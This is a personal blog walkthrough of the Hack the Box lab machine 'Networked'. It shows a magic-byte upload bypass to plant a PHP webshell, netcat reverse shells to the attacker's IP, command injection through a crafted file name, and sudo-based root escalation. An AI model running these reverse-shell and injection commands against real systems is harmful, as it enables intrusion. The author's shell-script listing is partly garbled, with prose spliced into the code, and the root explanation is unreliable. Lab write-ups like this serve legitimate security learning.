Hack the Box - Networked

HTB walkthrough of networked.

Hack the Box - Networked

‌             ‌

Networked

Below is my walkthrough for Networked. I've been doing Hack the Box for a bit, but this is my first time trying to write out the process and gather screenshots. There may be some growing pains, but I hope my posts improve as I go.

Nmap Results

When I run nmap, I always start with a basic portscan. Then I do a full scan. After that, I run safe scripts and version scans against the ports I know are open:

# Nmap 7.80 scan initiated Sat Jul  4 18:57:02 2020 as: nmap -sC -sSV -p 22,80,443 -oN scriptVersion 10.10.10.146
Nmap scan report for 10.10.10.146
Host is up (0.20s latency).

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul  4 18:57:16 2020 -- 1 IP address (1 host up) scanned in 13.46 seconds

Open SSH is rarely the answer in these types of challenges, unless I find user creds somewhere. It's worth noting, and it's worth enumerating, but I usually find myself poking at the more vulnerable services first.

Port 80 HTTP

We can see that if we navigate to http://10.10.10.146/, there's a note:

Hello mate, we're building the new FaceMash!‌‌Help by funding us and be the new Tyler&Cameron!‌‌Join us at the pool party this Sat to get a glimpse

I always like to view the page source, so I do, and there's something commented out:

<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

First thing I do is attempt to go to /upload and /gallery. Both take me nowhere.

GoBuster

Next, I run GoBuster:

gobuster dir -u http://10.10.10.146 -x txt,php -w /usr/share/wordlists/dirb/big.txt

/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.txt (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/index.php (Status: 200)
/lib.php (Status: 200)
/photos.php (Status: 200)
/upload.php (Status: 200)
/uploads (Status: 301)

/Uploads

Uploads just has a dot. Nothing else that I can see yet. I also attempt to view source in case there are hidden comments or links. Still just a dot. I will probably run another GoBuster instance against that once my big list completes.

/backups

In the /backups directory, I find a file called "backup.tar." Extracting that reveals some PHP files.

Examining backup.tar

Four files:

  • index.php - This is the same page as the index I found on the main page. Just the message about FaceMash.
  • lib.php - Some php file. I don't quite understand it yet. Seems to have a few functions: getnamecheck, getnameUpload, check_ip, file_mime_type and displayform. Some sort of file upload script that checks for a valid file mime type among other things (such as a valid ip).
  • photos.php - looks like a gallery. It uses the lib.php file I mentioned before as part of its functionality. It has a "require" pointing to lib.php. It just seems like a way to import a library, essentially.
  • upload.php - Seems like the upload functionality. It also makes a call to lib.php. It seems to upload files to /uploads. Seems to allow for uploads. It validates: jpg, png, gif and jpg. Seems to name a file after my remote address and extension. Not sure if I am understanding that correctly. I will have to read into that some more.

Interesting lines in the code:

require '/var/www/html/lib.php';

$validext = array('.jpg', '.png', '.gif', '.jpeg');

$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);

Upload.php

Looks like upload.php is what we want. We will attempt to upload a php webshell. We already know that certain conditions have to be true for the file to upload correctly based on the code we saw:

// It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system

$validext = array('.jpg', '.png', '.gif', '.jpeg');

Basically, it seems like whatever we upload has to appear to be a valid image file. If we are on a webserver running php, we need a way to upload a php file, but make it appear to be a valid image file.

First, we will upload an image file to make sure it works.

We attempted to upload a valid jpg. It says that the file is invalid.

Interesting Notes so far

We know that the php script checks for valid filetypes. It also seems to name them after the IP it was sent from. For instance:

http://10.10.10.146/uploads/127_0_0_4.png

That's localhost. I attempted to see if I could find my upload using my IP:

  • 10.10.14.24

However, no luck.

Investigating with Burp

Perhaps taking a look with Burp will reveal something useful. By the way, it should be noted that I am working on this box without any prior knowledge. Most of the boxes I will likely be blogging about are boxes that I've already solved and have notes on.

I know a bit about magic byte file upload vulnerabilities. I did a google search, and lucked out, because someone shows exactly how to exploit it, and it turned out to be the box I am working on. I'm okay with that, as long as I learn.

Slight Tangent: What is the Magic Byte?

According to IBM, a Magic Number is a numeric or string constant that indicates the file type. This number is in the first 512 bytes of the file.

The way I understand it in this case, for instance, is that a jpg starts with the following:

ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......

That ......JFIF...... part designates that the file is a jpg.

We can get that by running: xxd <filename> | head

Back to Burp

When we attempted the file upload earlier, we noticed that we got an invalid image file error.

We can also send our input to Burp's Repeater and see what it does:

We get a 200 OK. However, our image is still flagged as invalid.

Back to Burp

When we attempted the file upload earlier, we noticed that we got an invalid image file error. It doesn't seem to quite work yet.

We can change the magic bytes. (Reference: https://en.wikipedia.org/wiki/List_of_file_signatures)

We append GIF8; to the start of the PHP file. Now if we check the filetype:

$ file elbasho.php: GIF image data 16188 x 26736‌‌​

It says it's a gif. When I attempt to upload again, it fails. Well, remember, it checks the extension, too. Let's make it a "gif":

Now we have a file called elbasho.php.gif, which is based on one of my favorite php webshells, phpbash. It seems to work. Awesome!

As expected, we have no "-e" option for netcat. I will have to use a workaround.

Netcat without -e

Attacker: nc -nvlp 443

Victim: knod /tmp/backpipe p‌‌/bin/sh 0</tmp/backpipe | nc 10.10.14.24 443 1>/tmp/backpipe

source: https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/

Source: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Now I have my reverse shell.

Upgrading the shell

To upgrade the shell, we run: python -c 'import pty; pty.spawn("/bin/bash")'

Then we do this:

  1. Hit ctrl+z to put your current netcat session in the background.
  2. Type stty raw -echo
  3. Type fg and enter to bring your process back into the foreground.
  4. Now I have a shell with tab complete.

Finally, we run: export TERM=xterm

Now we have a decent shell.

Getting User

I go through many of my normal enumeration steps (I should write more on that later in a post that strictly covers enumeration.). Currently, we are just the low-level apache user, which is basically the webserver process.

The only other user I see right now besides root is guly.

We have a couple of interesting files in guly's folder:

  • crontab.guly
  • check_attack.php

The cronjob just runs check_attack.php every three minutes:

*/3 * * * * php /home/guly/check_attack.php

bash-4.2$ cat check_attack.php 
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

Investigating the PHP script

require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';

It uses lib.php again and it checks files uploaded to the /uploads directory. It runs the following functions:

  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

If we look back at lib.php, we can investigate the two functions:

getnamecheck

function getnameCheck($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  #echo "name $name - ext $ext\n";
  return array($name,$ext);

It separates the filename from the extension.

check_ip

function check_ip($prefix,$filename) {
  //echo "prefix: $prefix - fname: $filename<br>\n";
  $ret = true;
  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
    $ret = false;
    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
  } else {
    $msg = $filename;
  }
  return array($ret,$msg);
}

This just checks if the filename includes a valid IP. We saw that in action when we uploaded our files and it renamed them with an IP address.

check_attack.php

This means that the check_attack php script deletes files with invalid IP addresses in their name:

function check_ip($prefix,$filename) {
  //echo "prefix: $prefix - fname: $filename<br>\n";
  $ret = true;
  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
    $ret = false;
    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
  } else {
    $msg = $filename;
  }
  return array($ret,$msg);
}

That causes the script to delete the file. However, there is no input validation being done in the exec portion of this script.

This means that it will essentially execute the filename in our path if it's a string that consists of a valid command. We can go to the uploads directory and create the following with touch: touch ';nc -c bash 10.10.14.24 31337' and set up our listener on 31337.

What's happening here? We created a file called "; nc -c bash 10.10.14.24 31337". Because the file name does not begin with a valid ip address, the script runs in three minutes (or when we run it) and runs exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

However, because $path$value (/var/www/html/uploads/ourFileName) now includes a command, it will essentially run:

exec("nohup /bin/rm -f $path$value; nc -c bash 10.10.14.24 31337 > /dev/null 2>&1 &");, creating a shell.

Sidenote on this

You have to let the cronjob run. If you attempt to run it manually, you will get a shell as apache again, because apache ran the cronjob. Lesson learned. All we can do is wait.

Getting Root

Now we have Guly:

Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:49414.
whoami
guly

Time to work on getting root.

Note: I won't be sharing flags in my blog posts.

Upgrade Our Shell Again

Again, let's fix our shell with the same steps we used above to upgrade our shell the first time.

To upgrade the shell, we run: python -c 'import pty; pty.spawn("/bin/bash")'

Then we do this:

  1. Hit ctrl+z to put your current netcat session in the background.
  2. Type stty raw -echo
  3. Type fg and enter to bring your process back into the foreground.
  4. Now I have a shell with tab complete.

Finally, we run: export TERM=xterm

Now we have a decent shell.

I always run the following command when I get a new user. I want to see if I can sudo and what I can do with sudo:

[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh


It seems all we can do is execute the file.

[guly@networked ~]$ ls -l /usr/local/sbin/changename.sh 
-rwxr-xr-x 1 root root 422 Jul  8  2019 /usr/local/sbin/changename.sh

Reading the contents of the file reveals the following:

[guly@networked ~]$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                readIt seems all we can do is execute the file.


[guly@networked ~]$ ls -l /usr/local/sbin/changename.sh 
-rwxr-xr-x 1 root root 422 Jul  8  2019 /usr/local/sbin/changename.sh
 x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

It seems like some simple regex to "validate" my input. It seems to run whatever I throw at it:

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
sudo su
interface PROXY_METHOD:
sudo -i
interface BROWSER_ONLY:
echo meow
interface BOOTPROTO:
echo mew
[root@networked network-scripts]# whoami
root

I noticed that if I just hit "enter" it told me to try again. If I hit any letter or number, it considered it valid.

We can see that here:

regexp="^[a-zA-Z0-9_\ /-]+$"

and here:

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

That means when I typed "sudo -i" as an input, it basically ran the command and elevated me to root. I didn't need a password.